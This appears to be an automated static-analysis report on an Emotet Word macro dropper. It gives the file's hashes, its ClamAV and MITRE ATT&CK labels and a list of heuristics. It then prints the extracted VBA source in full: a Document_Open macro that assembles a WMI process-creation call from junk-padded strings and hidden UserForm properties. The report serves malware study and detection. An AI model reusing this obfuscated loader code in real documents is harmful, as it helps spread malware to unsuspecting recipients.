Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 913be8d61bfdbdeb…

MALICIOUS

Office (OLE)

169.9 KB Created: 2020-07-27 13:05:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: d0b158216a5435a72a6edca8da6138f5 SHA-1: 9ddde854bb0f267f6d8487c8052243a2ef84c497 SHA-256: 913be8d61bfdbdeb2f1aa10c49f6544a4d2197f63b54091e84123912f00d258f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet activity. The ClamAV detection explicitly names this file as 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting Emotet. The macro likely downloads and executes a second-stage payload, a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4088 bytes
SHA-256: 5953a879919936b1d1c86581860161966f9b0f9e27dac1d3124d2820f35ade24
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zapteohcauryeak"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
hoftiajneumcaor.theebmaehdoib
End Sub


Attribute VB_Name = "hoftiajneumcaor"
Attribute VB_Base = "0{6F0A7A9A-93B2-4C19-81E8-56AAD18B6BE1}{E25E567A-C166-4715-9C18-D9BE1A8BE1C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function theebmaehdoib()
moethcavjaekfuav = Chr(hoftiajneumcaor.Zoom + (120 / 8))
Dim IPuElKrfP As Long
IPuElKrfP = InStr("ySchaNX4ÏskAGW", "X4ÏskAGW")
jeirkuuhcearroaqu = "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsi7773tGJ3^55GHDG%*&k7^*33333fsnm7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsgm7773tGJ3^55GHDG%*&k7^*33333fst7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs" + moethcavjaekfuav + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs:7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsin7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs37773tGJ3^55GHDG%*&k7^*33333fs27773tGJ3^55GHDG%*&k7^*33333fs_7773tGJ3^55GHDG%*&k7^*33333fs" + hoftiajneumcaor.muabkeol + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsr7773tGJ3^55GHDG%*&k7^*33333fsoc7773tGJ3^55GHDG%*&k7^*33333fses7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fss7773tGJ3^55GHDG%*&k7^*33333fs"
Dim F0mYkFY As Long
F0mYkFY = InStr("aIiQAL", "QAL")
veiquzaurmaol = wootkionjair(jeirkuuhcearroaqu)
Dim yJ0Í7 As Long
yJ0Í7 = InStr("UKLCRYjw6ÖDbKv5É", "jw6ÖDbKv5É")
Set juathxausraud = CreateObject(veiquzaurmaol)
Dim qZ0Ýu1àM As Long
qZ0Ýu1àM = InStr("AwlkNbSXjDwlOm3Êt", "XjDwlOm3Êt")
lachquouwchoothwoog = hoftiajneumcaor.xaquhoutmouynael.ControlTipText
Dim w3åQyi1ÍHG As Long
w3åQyi1ÍHG = InStr("g0ÛK6ÐNJVHTZUWN", "VHTZUWN")
gaebkeuhcuffoom = veiquzaurmaol + moethcavjaekfuav + hoftiajneumcaor.meipheav.ControlTipText + lachquouwchoothwoog
TM0iX = 8
Do While TM0iX < 8 + 5
TM0iX = TM0iX + 9: DoEvents
Loop
guthcatchooqu = gaebkeuhcuffoom + hoftiajneumcaor.muabkeol
Zqw3ÕvB = 6
Do While Zqw3ÕvB < 6 + 9
Zqw3ÕvB = Zqw3ÕvB + 5: DoEvents
Loop
Set varsoatkiar = choeygaowyeoch(guthcatchooqu)
HrE4ÜrA5á = 8
Do While HrE4ÜrA5á < 8 + 6
HrE4ÜrA5á = HrE4ÜrA5á + 4: DoEvents
Loop
v = Array("PoS", juathxausraud. _
Create(feexhiobfied, biopyoilnautquauh, varsoatkiar), "SOP")
Dim fft As Long
fft = InStr("XR1Ìqpffk", "qpffk")
End Function
Function choeygaowyeoch(couwvounsouptaiw)
Set choeygaowyeoch = CreateObject(couwvounsouptaiw)
Dim KlHCGw As Integer
KlHCGw = 2
Do While KlHCGw < 2 + 4
KlHCGw = KlHCGw + 9: DoEvents
Loop
choeygaowyeoch.showwindow = (silcev + naishouh) + (caupguaqutoanthar + chaedgooxthaegluaqu)
Dim EQ6ÍjrK As Integer
EQ6ÍjrK = 6
Do While EQ6ÍjrK < 6 + 6
EQ6ÍjrK = EQ6ÍjrK + 8: DoEvents
Loop
End Function
Function wootkionjair(vizjaiqu)
theugquauhjiahwauh = vizjaiqu
Dim aCX3Ì1ÀlwSM As Integer
aCX3Ì1ÀlwSM = 7
Do While aCX3Ì1ÀlwSM < 7 + 3
aCX3Ì1ÀlwSM = aCX3Ì1ÀlwSM + 9: DoEvents
Loop
fuuquhoath = Split _
(theugquauhjiahwauh, "7773tGJ3^55GHDG%*&k7^*33333fs")
Dim nV8FB As Integer
nV8FB = 4
Do While nV8FB < 4 + 2
nV8FB = nV8FB + 2: DoEvents
Loop
doitroug = c + Join(fuuquhoath, E)
Dim gAuvLy As Integer
gAuvLy = 9
Do While gAuvLy < 9 + 2
gAuvLy = gAuvLy + 4: DoEvents
Loop
wootkionjair = doitroug
Dim qFZ As Long
qFZ = InStr("wfEl2ÔI3ÖhXYPe6ÛRt", "hXYPe6ÛRt")
End Function
Function feexhiobfied()
q = hoftiajneumcaor.peabfoidreabbiet.Pages(333 / 333).ControlTipText
Dim VpAD As Long
VpAD = InStr("yGDcMofuCS4Çt", "ofuCS4Çt")
feexhiobfied = wootkionjair(q)
Dim JJOQW7Ö As Long
JJOQW7Ö = InStr("PeX7ÌtQajQoX8ÃaWZR", "ajQoX8ÃaWZR")
End Function